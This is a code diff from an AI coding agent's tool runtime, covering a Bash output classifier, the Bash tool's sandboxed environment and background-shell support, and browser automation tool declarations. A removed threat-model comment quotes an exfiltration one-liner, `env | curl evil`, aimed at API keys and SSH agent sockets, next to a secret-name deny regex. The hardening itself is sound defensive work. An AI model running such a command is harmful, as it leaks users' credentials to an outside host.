description: j.description,
|
|
78
|
+
status: j.status,
|
|
79
|
+
startedAt: j.startedAt,
|
|
80
|
+
...(j.finishedAt != null ? { finishedAt: j.finishedAt } : {}),
|
|
81
|
+
...(j.finalText != null ? { finalText: j.finalText } : {}),
|
|
82
|
+
...(j.changedFiles && j.changedFiles.length ? { changedFiles: j.changedFiles } : {}),
|
|
83
|
+
});
|
|
84
|
+
}
|
|
85
|
+
return entries;
|
|
86
|
+
}
|
|
@@ -0,0 +1,32 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Bash output styling classifier (A1 — Shell error highlighting).
|
|
3
|
+
*
|
|
4
|
+
* The Bash tool emits a single text body that interleaves three kinds of
|
|
5
|
+
* content (see bash.ts):
|
|
6
|
+
* - the prepended status line `Exit code: N (command failed)` /
|
|
7
|
+
* `Killed by signal: X` (only present on failure),
|
|
8
|
+
* - stdout,
|
|
9
|
+
* - a stderr section introduced by a lone `STDERR:` marker line, which runs
|
|
10
|
+
* to the end of the body.
|
|
11
|
+
*
|
|
12
|
+
* Renderers (desktop ToolResultView, TUI ToolCall) want to tint the error
|
|
13
|
+
* portions without mutating the text — copy must still yield the exact bytes
|
|
14
|
+
* the model saw. This pure classifier maps each line to a kind so each surface
|
|
15
|
+
* can apply its own error color. It deliberately lives next to bash.ts so the
|
|
16
|
+
* markers it recognizes stay in lock-step with what bash.ts produces.
|
|
17
|
+
*
|
|
18
|
+
* NOTE: the desktop renderer cannot import core (thin-client rule), so it
|
|
19
|
+
* duplicates this tiny logic. The TUI imports it directly. Keep the two in sync.
|
|
20
|
+
*/
|
|
21
|
+
export type BashLineKind = "normal" | "error";
|
|
22
|
+
export interface ClassifiedBashLine {
|
|
23
|
+
/** The original line, verbatim (never trimmed/altered — copy fidelity). */
|
|
24
|
+
text: string;
|
|
25
|
+
kind: BashLineKind;
|
|
26
|
+
}
|
|
27
|
+
/**
|
|
28
|
+
* Classify each line of a Bash output body. Once the lone `STDERR:` marker is
|
|
29
|
+
* seen, every subsequent line is part of the stderr region (sticky). Status
|
|
30
|
+
* lines are flagged wherever they appear.
|
|
31
|
+
*/
|
|
32
|
+
export declare function classifyBashLines(lines: string[]): ClassifiedBashLine[];
|
|
@@ -0,0 +1,40 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Bash output styling classifier (A1 — Shell error highlighting).
|
|
3
|
+
*
|
|
4
|
+
* The Bash tool emits a single text body that interleaves three kinds of
|
|
5
|
+
* content (see bash.ts):
|
|
6
|
+
* - the prepended status line `Exit code: N (command failed)` /
|
|
7
|
+
* `Killed by signal: X` (only present on failure),
|
|
8
|
+
* - stdout,
|
|
9
|
+
* - a stderr section introduced by a lone `STDERR:` marker line, which runs
|
|
10
|
+
* to the end of the body.
|
|
11
|
+
*
|
|
12
|
+
* Renderers (desktop ToolResultView, TUI ToolCall) want to tint the error
|
|
13
|
+
* portions without mutating the text — copy must still yield the exact bytes
|
|
14
|
+
* the model saw. This pure classifier maps each line to a kind so each surface
|
|
15
|
+
* can apply its own error color. It deliberately lives next to bash.ts so the
|
|
16
|
+
* markers it recognizes stay in lock-step with what bash.ts produces.
|
|
17
|
+
*
|
|
18
|
+
* NOTE: the desktop renderer cannot import core (thin-client rule), so it
|
|
19
|
+
* duplicates this tiny logic. The TUI imports it directly. Keep the two in sync.
|
|
20
|
+
*/
|
|
21
|
+
/** The exact status-line prefixes bash.ts prepends on a failed command. */
|
|
22
|
+
function isStatusLine(line) {
|
|
23
|
+
return /^Exit code: \d+ \(command failed\)$/.test(line) || /^Killed by signal: /.test(line);
|
|
24
|
+
}
|
|
25
|
+
/**
|
|
26
|
+
* Classify each line of a Bash output body. Once the lone `STDERR:` marker is
|
|
27
|
+
* seen, every subsequent line is part of the stderr region (sticky). Status
|
|
28
|
+
* lines are flagged wherever they appear.
|
|
29
|
+
*/
|
|
30
|
+
export function classifyBashLines(lines) {
|
|
31
|
+
let inStderr = false;
|
|
32
|
+
return lines.map((text) => {
|
|
33
|
+
if (text === "STDERR:") {
|
|
34
|
+
inStderr = true;
|
|
35
|
+
return { text, kind: "error" };
|
|
36
|
+
}
|
|
37
|
+
const kind = inStderr || isStatusLine(text) ? "error" : "normal";
|
|
38
|
+
return { text, kind };
|
|
39
|
+
});
|
|
40
|
+
}
|
|
@@ -16,6 +16,9 @@
|
|
|
16
16
|
* Killed by signal, the truncation message, sandbox denial hints).
|
|
17
17
|
*/
|
|
18
18
|
import type { ToolContext } from "../context.js";
|
|
19
|
-
import type { ToolDefinition } from "../../types.js";
|
|
19
|
+
import type { ToolDefinition, ToolResult } from "../../types.js";
|
|
20
20
|
export declare const bashToolDef: ToolDefinition;
|
|
21
|
-
export declare function bashTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string
|
|
21
|
+
export declare function bashTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string | {
|
|
22
|
+
result: string;
|
|
23
|
+
sandbox: ToolResult["sandbox"];
|
|
24
|
+
}>;
|
|
@@ -17,6 +17,15 @@
|
|
|
17
17
|
*/
|
|
18
18
|
import { createOffBackend } from "../sandbox/off.js";
|
|
19
19
|
import { safeSpawnShell } from "../../runtime/safe-spawn.js";
|
|
20
|
+
import { truncateHeadTail } from "../../runtime/truncate-output.js";
|
|
21
|
+
import { buildSandboxEnv, mergeShellEnv, defaultShellBinary } from "../../runtime/spawn-common.js";
|
|
22
|
+
import { backgroundShellManager } from "../../runtime/background-shell.js";
|
|
23
|
+
/** UI 标记:这次 Bash 走没走沙箱 + 网络策略。off 也带(显式标「未隔离」)。 */
|
|
24
|
+
function sandboxMark(backend) {
|
|
25
|
+
return backend.name === "off"
|
|
26
|
+
? { backend: "off" }
|
|
27
|
+
: { backend: backend.name, network: backend.network };
|
|
28
|
+
}
|
|
20
29
|
export const bashToolDef = {
|
|
21
30
|
name: "Bash",
|
|
22
31
|
description: "Execute a shell command and return its output. " +
|
|
@@ -34,66 +43,57 @@ export const bashToolDef = {
|
|
|
34
43
|
type: "string",
|
|
35
44
|
description: "Short description of what the command does",
|
|
36
45
|
},
|
|
46
|
+
run_in_background: {
|
|
47
|
+
type: "boolean",
|
|
48
|
+
description: "Run the command in the background instead of blocking. Use for BOTH long-lived services " +
|
|
49
|
+
"(a dev server like `npm run dev`) AND slow one-shot tasks that would otherwise block for a " +
|
|
50
|
+
"long time (a download, a long build/test run). Returns immediately with a shell_id. " +
|
|
51
|
+
"When the command FINISHES you are automatically notified and woken to continue — so do NOT " +
|
|
52
|
+
"sleep, poll, or repeatedly BashOutput to wait for it. Just end your turn (or do other work); " +
|
|
53
|
+
"the system wakes you on completion. Use BashOutput(shell_id) only to check on a still-running " +
|
|
54
|
+
"process on demand, KillShell(shell_id) to stop one, ListShells() to enumerate. The process is " +
|
|
55
|
+
"killed when the session/app exits. (A never-exiting service like a dev server simply never " +
|
|
56
|
+
"fires that completion wakeup — that's expected.)",
|
|
57
|
+
},
|
|
37
58
|
},
|
|
38
59
|
required: ["command"],
|
|
39
60
|
},
|
|
40
61
|
};
|
|
41
62
|
const MAX_OUTPUT = 100_000;
|
|
42
63
|
const MAX_BUFFER = 10 * 1024 * 1024;
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
* directly steer at the shell, and a tainted model with full env access can
|
|
48
|
-
* trivially exfiltrate `OPENROUTER_API_KEY` / `AWS_*` / `SSH_AUTH_SOCK` via
|
|
49
|
-
* `env | curl evil`. Filesystem-level deniedReads don't help once secrets are
|
|
50
|
-
* already in the process environment.
|
|
51
|
-
*
|
|
52
|
-
* `off` backend keeps the historical full-passthrough behavior — the user
|
|
53
|
-
* explicitly opted out of sandboxing.
|
|
54
|
-
*/
|
|
55
|
-
const ENV_ALLOWLIST = new Set([
|
|
56
|
-
"PATH",
|
|
57
|
-
"HOME",
|
|
58
|
-
"USER",
|
|
59
|
-
"LOGNAME",
|
|
60
|
-
"SHELL",
|
|
61
|
-
"LANG",
|
|
62
|
-
"LC_ALL",
|
|
63
|
-
"LC_CTYPE",
|
|
64
|
-
"TERM",
|
|
65
|
-
"TMPDIR",
|
|
66
|
-
"TZ",
|
|
67
|
-
"COLUMNS",
|
|
68
|
-
"LINES",
|
|
69
|
-
"PWD",
|
|
70
|
-
]);
|
|
71
|
-
/**
|
|
72
|
-
* Names matching these patterns are dropped even if they appear in the
|
|
73
|
-
* allowlist (defense in depth — e.g. a user setting `PATH_TOKEN` shouldn't
|
|
74
|
-
* leak just because it starts with `PATH`). Match is case-insensitive on
|
|
75
|
-
* the full name.
|
|
76
|
-
*/
|
|
77
|
-
const ENV_DENY_REGEX = /(KEY|TOKEN|SECRET|PASSWORD|PASSWD|CREDENTIAL|SESSION|AUTH|COOKIE|PRIVATE)/i;
|
|
78
|
-
function buildSandboxEnv() {
|
|
79
|
-
const out = {};
|
|
80
|
-
for (const name of ENV_ALLOWLIST) {
|
|
81
|
-
const v = process.env[name];
|
|
82
|
-
if (v !== undefined && !ENV_DENY_REGEX.test(name)) {
|
|
83
|
-
out[name] = v;
|
|
84
|
-
}
|
|
85
|
-
}
|
|
86
|
-
return out;
|
|
87
|
-
}
|
|
64
|
+
// The env allowlist / deny regex that hardens a sandboxed shell now lives in
|
|
65
|
+
// runtime/spawn-common.ts so foreground (this tool) and background shells
|
|
66
|
+
// share one source of truth. The `off` backend keeps the historical
|
|
67
|
+
// full-passthrough behavior — the user explicitly opted out of sandboxing.
|
|
88
68
|
export async function bashTool(args, ctx) {
|
|
89
69
|
const command = args.command;
|
|
90
70
|
if (!command)
|
|
91
71
|
return "Error: command is required";
|
|
92
|
-
|
|
72
|
+
// A non-positive timeout (caller passing 0 / -5 / NaN) falls back to the
|
|
73
|
+
// default. `|| 120_000` only caught 0/NaN; a negative slipped through to
|
|
74
|
+
// setTimeout (clamped to 0 → near-instant kill → confusing "timed out after
|
|
75
|
+
// -5ms"). Treat non-positive as "use default" so the command actually runs.
|
|
76
|
+
const rawTimeout = args.timeout;
|
|
77
|
+
const timeout = typeof rawTimeout === "number" && rawTimeout > 0 ? rawTimeout : 120_000;
|
|
93
78
|
const cwd = ctx?.cwd ?? process.cwd();
|
|
94
|
-
const shell =
|
|
79
|
+
const shell = defaultShellBinary();
|
|
95
80
|
const backend = ctx?.sandbox ?? createOffBackend();
|
|
96
|
-
const
|
|
81
|
+
const sandbox = sandboxMark(backend);
|
|
82
|
+
// Tag every textual return below with the sandbox mark so the UI badge
|
|
83
|
+
// shows up whether the command succeeded, failed, timed out, or aborted.
|
|
84
|
+
const mark = (result) => ({ result, sandbox });
|
|
85
|
+
// Project localEnvironment.env (ctx.shellEnv) layers on top of either the
|
|
86
|
+
// full passthrough (off) or the hardened allowlist (sandboxed) — see
|
|
87
|
+
// mergeShellEnv. Background mode merges the same way inside the manager.
|
|
88
|
+
const baseEnv = backend.name === "off" ? { ...process.env } : buildSandboxEnv();
|
|
89
|
+
const env = mergeShellEnv(baseEnv, ctx?.shellEnv);
|
|
90
|
+
// Background mode: spawn a detached, long-lived process and return a
|
|
91
|
+
// shell_id immediately (design §5.1). Fire-and-forget — the turn is never
|
|
92
|
+
// blocked, and Engine.run's wait-for-background loop never waits on it
|
|
93
|
+
// (§难点5: that loop only looks at asyncAgentRegistry).
|
|
94
|
+
if (args.run_in_background === true) {
|
|
95
|
+
return mark(runInBackground(command, ctx));
|
|
96
|
+
}
|
|
97
97
|
// A6: lifecycle (spawn, kill cascade, IO drain, byte cap, abort/timeout)
|
|
98
98
|
// is centralized in safeSpawnShell. We still handle Bash's user-facing
|
|
99
99
|
// output formatting here.
|
|
@@ -111,25 +111,34 @@ export async function bashTool(args, ctx) {
|
|
|
111
111
|
signal: ctx?.signal,
|
|
112
112
|
});
|
|
113
113
|
if (result.aborted) {
|
|
114
|
-
return wasAbortedBeforeStart ? "Bash aborted before starting." : "Bash aborted by signal.";
|
|
114
|
+
return mark(wasAbortedBeforeStart ? "Bash aborted before starting." : "Bash aborted by signal.");
|
|
115
115
|
}
|
|
116
116
|
if (result.timedOut) {
|
|
117
|
-
return `Command timed out after ${timeout}ms
|
|
117
|
+
return mark(`Command timed out after ${timeout}ms`);
|
|
118
118
|
}
|
|
119
119
|
if (result.spawnFailed) {
|
|
120
|
-
return `Failed to spawn command: ${result.error ?? "unknown error"}
|
|
120
|
+
return mark(`Failed to spawn command: ${result.error ?? "unknown error"}`);
|
|
121
121
|
}
|
|
122
|
-
let
|
|
122
|
+
let body = "";
|
|
123
123
|
if (result.stdout)
|
|
124
|
-
|
|
124
|
+
body += result.stdout;
|
|
125
125
|
if (result.stderr)
|
|
126
|
-
|
|
127
|
-
if (!
|
|
128
|
-
|
|
126
|
+
body += (body ? "\n" : "") + `STDERR:\n${result.stderr}`;
|
|
127
|
+
if (!body)
|
|
128
|
+
body = "(command completed with no output)";
|
|
129
|
+
// Truncate the OUTPUT body head+tail (TODO 2.11) — the tail of a failing
|
|
130
|
+
// command (the error / final summary) is usually the most useful part, so we
|
|
131
|
+
// keep both ends instead of dropping the end. The exit-code/signal status
|
|
132
|
+
// line is prepended AFTER truncation so it's never lost.
|
|
133
|
+
if (body.length > MAX_OUTPUT) {
|
|
134
|
+
body = truncateHeadTail(body, { cap: MAX_OUTPUT });
|
|
135
|
+
}
|
|
129
136
|
const code = result.exitCode;
|
|
130
137
|
const sig = result.signal;
|
|
138
|
+
let output = body;
|
|
131
139
|
if (code !== 0 && code !== null) {
|
|
132
|
-
|
|
140
|
+
// Semantic non-zero-exit marker (TODO 2.11): clear "command FAILED" line.
|
|
141
|
+
output = `Exit code: ${code} (command failed)\n${output}`;
|
|
133
142
|
}
|
|
134
143
|
else if (code === null && sig) {
|
|
135
144
|
// Killed by a signal we didn't time out on — OOM-kill, sandbox-kill,
|
|
@@ -140,10 +149,37 @@ export async function bashTool(args, ctx) {
|
|
|
140
149
|
const hint = backend.hintForBlockedOutput?.(result.stderr);
|
|
141
150
|
if (hint)
|
|
142
151
|
output += hint;
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
152
|
+
return mark(output);
|
|
153
|
+
}
|
|
154
|
+
/**
|
|
155
|
+
* Bash(run_in_background=true) branch: start a long-lived background shell
|
|
156
|
+
* through the BackgroundShellManager and return its handle. Same sandbox as
|
|
157
|
+
* the foreground path (D8). Rejected in unattended automation runs (§5.5)
|
|
158
|
+
* because no one is there to reap a dev server.
|
|
159
|
+
*/
|
|
160
|
+
function runInBackground(command, ctx) {
|
|
161
|
+
if (ctx?.allowBackgroundShells === false) {
|
|
162
|
+
return "Error: background shells are not available in automation/headless runs. Run the command in the foreground, or have a human start the dev server.";
|
|
163
|
+
}
|
|
164
|
+
const sessionId = ctx?.sessionId;
|
|
165
|
+
if (!sessionId) {
|
|
166
|
+
return "Error: run_in_background requires a session context (no sessionId available).";
|
|
167
|
+
}
|
|
168
|
+
const mgr = ctx?.backgroundShells ?? backgroundShellManager;
|
|
169
|
+
const r = mgr.spawnBackground({
|
|
170
|
+
command,
|
|
171
|
+
cwd: ctx?.cwd ?? process.cwd(),
|
|
172
|
+
sessionId,
|
|
173
|
+
sandbox: ctx?.sandbox,
|
|
174
|
+
shellEnv: ctx?.shellEnv,
|
|
175
|
+
});
|
|
176
|
+
if (!r.ok) {
|
|
177
|
+
return `Error: ${r.error}`;
|
|
147
178
|
}
|
|
148
|
-
return
|
|
179
|
+
return [
|
|
180
|
+
"Started background shell.",
|
|
181
|
+
`shell_id: ${r.shellId}`,
|
|
182
|
+
`command: ${command}`,
|
|
183
|
+
`(Use BashOutput("${r.shellId}") to read output; KillShell("${r.shellId}") to stop; ListShells() to enumerate.)`,
|
|
184
|
+
].join("\n");
|
|
149
185
|
}
|
|
@@ -0,0 +1,33 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Browser automation tools — drive the in-app webview via the BrowserBridge
|
|
3
|
+
* (CDP under the hood). Collapsed into THREE semantic tools (was 9 flat tools)
|
|
4
|
+
* to keep the LLM's tool list lean:
|
|
5
|
+
*
|
|
6
|
+
* browser_observe — observe the page: snapshot (a11y elements) / read (text) /
|
|
7
|
+
* extract (link+image+video URLs). [+ image/vision in P4]
|
|
8
|
+
* browser_act — interact: click / type / select / press_key / hover /
|
|
9
|
+
* scroll / wait / list_tabs / switch_tab (action-dispatched).
|
|
10
|
+
* browser_navigate — load a URL (high-frequency, kept standalone).
|
|
11
|
+
*
|
|
12
|
+
* Spec: docs/superpowers/specs/2026-06-18-browser-module-redesign-design.md §4.1.
|
|
13
|
+
*
|
|
14
|
+
* snapshot returns interactive elements as a compact ref-tagged list (a11y tree,
|
|
15
|
+
* token-economical, no screenshots); act references elements by the ref the
|
|
16
|
+
* latest snapshot assigned. All tools degrade with a clear error when no browser
|
|
17
|
+
* is wired. isConcurrencySafe:false — a single webview is driven serially.
|
|
18
|
+
*
|
|
19
|
+
* Permission: browser_act is permissionDefault "allow"; the sensitive actions
|
|
20
|
+
* (click/type/select) are escalated to "ask" by a preset PermissionRule keyed on
|
|
21
|
+
* argsPattern { action }, so one tool can carry per-action gating (§4.6).
|
|
22
|
+
*/
|
|
23
|
+
import type { ToolDefinition } from "../../types.js";
|
|
24
|
+
import type { ToolContext } from "../context.js";
|
|
25
|
+
import type { BuiltinToolResult } from "./index.js";
|
|
26
|
+
export declare const browserObserveToolDef: ToolDefinition;
|
|
27
|
+
export declare function browserObserveTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<BuiltinToolResult>;
|
|
28
|
+
export declare const browserActToolDef: ToolDefinition;
|
|
29
|
+
export declare function browserActTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
|
|
30
|
+
export declare const browserNavigateToolDef: ToolDefinition;
|
|
31
|
+
export declare function browserNavigateTool(args: Record<string, unknown>, ctx?: ToolContext): Promise<string>;
|
|
32
|
+
/** True when the session has a browser bridge wired (used to gate visibility). */
|
|
33
|
+
export declare function isBrowserAutomationAvailable(ctx?: ToolContext): boolean;
|